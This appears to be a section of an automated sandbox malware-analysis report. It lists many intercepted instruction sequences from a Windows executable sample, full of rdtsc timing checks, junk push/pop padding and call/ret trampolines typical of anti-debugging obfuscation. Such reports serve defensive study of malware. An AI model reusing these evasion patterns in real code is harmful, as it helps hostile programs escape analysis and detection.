0x0000005d pushad 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9CF747 second address: 9AB71A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F87A450AC66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e jmp 00007F87A450AC74h 0x00000013 pop eax 0x00000014 jmp 00007F87A450AC6Eh 0x00000019 popad 0x0000001a nop 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007F87A450AC68h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 00000017h 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 call dword ptr [ebp+122D1C12h] 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F87A450AC78h 0x00000043 jg 00007F87A450AC66h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9CF84E second address: 9CF926 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F87A4B03878h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebx 0x0000000b mov edi, eax 0x0000000d push dword ptr fs:[00000000h] 0x00000014 jbe 00007F87A4B03878h 0x0000001a mov cl, 7Bh 0x0000001c adc edi, 7CE6A367h 0x00000022 mov dword ptr fs:[00000000h], esp 0x00000029 push 00000000h 0x0000002b push esi 0x0000002c call 00007F87A4B03878h 0x00000031 pop esi 0x00000032 mov dword ptr [esp+04h], esi 0x00000036 add dword ptr [esp+04h], 00000014h 0x0000003e inc esi 0x0000003f push esi 0x00000040 ret 0x00000041 pop esi 0x00000042 ret 0x00000043 mov dword ptr [ebp+12486502h], esp 0x00000049 mov dx, 7951h 0x0000004d cmp dword ptr [ebp+122D379Ch], 00000000h 0x00000054 jne 00007F87A4B03962h 0x0000005a jg 00007F87A4B03884h 0x00000060 pushad 0x00000061 mov dword ptr [ebp+122D23E1h], ebx 0x00000067 mov ecx, dword ptr [ebp+122D3382h] 0x0000006d popad 0x0000006e mov byte ptr [ebp+122D2285h], 00000047h 0x00000075 pushad 0x00000076 jmp 00007F87A4B03887h 0x0000007b jnc 00007F87A4B03877h 0x00000081 popad 0x00000082 mov eax, D49AA7D2h 0x00000087 sub dword ptr [ebp+122D34C7h], edi 0x0000008d nop 0x0000008e jnp 00007F87A4B03884h 0x00000094 push eax 0x00000095 pushad 0x00000096 jmp 00007F87A4B03889h 0x0000009b push eax 0x0000009c push edx 0x0000009d push edx 0x0000009e pop edx 0x0000009f rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9CFD99 second address: 9CFDBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F87A450AC66h 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F87A450AC73h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9CFDBE second address: 9CFE11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B0387Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F87A4B03878h 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 pop eax 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007F87A4B03878h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 0000001Ah 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d mov cx, dx 0x00000030 push D0BA3580h 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F87A4B0387Eh 0x0000003c rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9CFFA1 second address: 9D0009 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F87A450AC6Ch 0x00000008 jbe 00007F87A450AC66h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007F87A450AC6Ah 0x00000016 xchg eax, esi 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007F87A450AC68h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 0000001Ah 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 add ecx, dword ptr [ebp+122D36C0h] 0x00000037 ja 00007F87A450AC6Ch 0x0000003d nop 0x0000003e pushad 0x0000003f push ecx 0x00000040 jmp 00007F87A450AC71h 0x00000045 pop ecx 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D0009 second address: 9D0035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F87A4B0387Ch 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F87A4B03887h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D0124 second address: 9D0140 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnp 00007F87A450AC66h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F87A450AC6Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D0140 second address: 9D015A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F87A4B0387Bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D015A second address: 9D0179 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007F87A450AC66h 0x0000000d jno 00007F87A450AC66h 0x00000013 popad 0x00000014 popad 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D0179 second address: 9D017D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D017D second address: 9D0181 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D0181 second address: 9D0187 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D0187 second address: 9D018C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D0339 second address: 9D033E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D033E second address: 9D0344 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D0344 second address: 9D03C0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F87A4B03876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007F87A4B03878h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 mov ecx, dword ptr [ebp+122D34A5h] 0x0000002f mov ch, 60h 0x00000031 mov dx, di 0x00000034 push 00000004h 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 call 00007F87A4B03878h 0x0000003e pop esi 0x0000003f mov dword ptr [esp+04h], esi 0x00000043 add dword ptr [esp+04h], 0000001Dh 0x0000004b inc esi 0x0000004c push esi 0x0000004d ret 0x0000004e pop esi 0x0000004f ret 0x00000050 mov dword ptr [ebp+12449315h], esi 0x00000056 mov edx, dword ptr [ebp+122D3888h] 0x0000005c mov di, 8F23h 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 jl 00007F87A4B0387Ch 0x00000069 js 00007F87A4B03876h 0x0000006f rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D0688 second address: 9D0692 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F87A450AC66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D0A24 second address: 9D0A3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B0387Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D0A3C second address: 9D0A41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D0A41 second address: 9D0A46 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A0D20B second address: A0D212 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9CFD67 second address: 9CFD99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 jg 00007F87A4B03878h 0x0000000f pop esi 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jmp 00007F87A4B03881h 0x00000019 mov eax, dword ptr [eax] 0x0000001b je 00007F87A4B03884h 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A0D5E8 second address: A0D5EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A0D5EE second address: A0D5F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A0D5F4 second address: A0D5F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A0D736 second address: A0D753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F87A4B03876h 0x0000000a jmp 00007F87A4B0387Fh 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A10FB8 second address: A10FBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A10FBE second address: A10FC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A10FC7 second address: A10FCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A10FCB second address: A10FD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A140D9 second address: A140F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F87A450AC74h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A13962 second address: A13966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A13966 second address: A13976 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F87A450AC66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A13976 second address: A1397C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A1397C second address: A13980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A13980 second address: A1399E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B03888h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A1399E second address: A139D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F87A450AC66h 0x00000009 jnc 00007F87A450AC66h 0x0000000f jmp 00007F87A450AC6Dh 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F87A450AC77h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A139D4 second address: A139D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A13DF9 second address: A13E0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F87A450AC6Ah 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A13E0A second address: A13E0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A13E0E second address: A13E14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A13E14 second address: A13E1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A13E1C second address: A13E20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A163F1 second address: A163FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A17CDA second address: A17CE5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnc 00007F87A450AC66h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A17CE5 second address: A17CF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jc 00007F87A4B0387Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A17CF2 second address: A17D13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F87A450AC77h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A1E1A1 second address: A1E1AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push edi 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A1E1AF second address: A1E1B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A1E1B4 second address: A1E1BE instructions: 0x00000000 rdtsc 0x00000002 jl 00007F87A4B0387Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D055B second address: 9D055F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 9D055F second address: 9D056D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F87A4B0387Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A1E758 second address: A1E75D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A1E75D second address: A1E763 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A1F0EB second address: A1F0FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 jo 00007F87A450AC95h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A1F0FB second address: A1F101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A1F101 second address: A1F105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A1F105 second address: A1F120 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B0387Dh 0x00000007 jbe 00007F87A4B03876h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A224ED second address: A22528 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A450AC77h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e jmp 00007F87A450AC75h 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 pop edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A21BC0 second address: A21BE0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F87A4B03881h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A21BE0 second address: A21BF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 jg 00007F87A450AC66h 0x0000000e push edx 0x0000000f pop edx 0x00000010 popad 0x00000011 ja 00007F87A450AC6Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A21BF9 second address: A21C02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A21F03 second address: A21F0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A21F0B second address: A21F0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A21F0F second address: A21F13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A2222C second address: A22259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F87A4B0387Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jmp 00007F87A4B03886h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A22259 second address: A2225D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A26583 second address: A26589 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A26589 second address: A26593 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F87A450AC66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A26593 second address: A265C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F87A4B03876h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jo 00007F87A4B038A6h 0x00000014 jno 00007F87A4B0388Ah 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A265C4 second address: A265D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F87A450AC66h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A25B2E second address: A25B32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A25B32 second address: A25B36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A25B36 second address: A25B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F87A4B03881h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A25B4F second address: A25B55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A25B55 second address: A25B6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F87A4B03884h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A2DD87 second address: A2DD8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A2DD8C second address: A2DD98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F87A4B03876h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A2DD98 second address: A2DDEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F87A450AC72h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 ja 00007F87A450AC66h 0x00000019 jmp 00007F87A450AC72h 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 jmp 00007F87A450AC74h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A2DDEB second address: A2DDEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: A2DDEF second address: A2DDF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
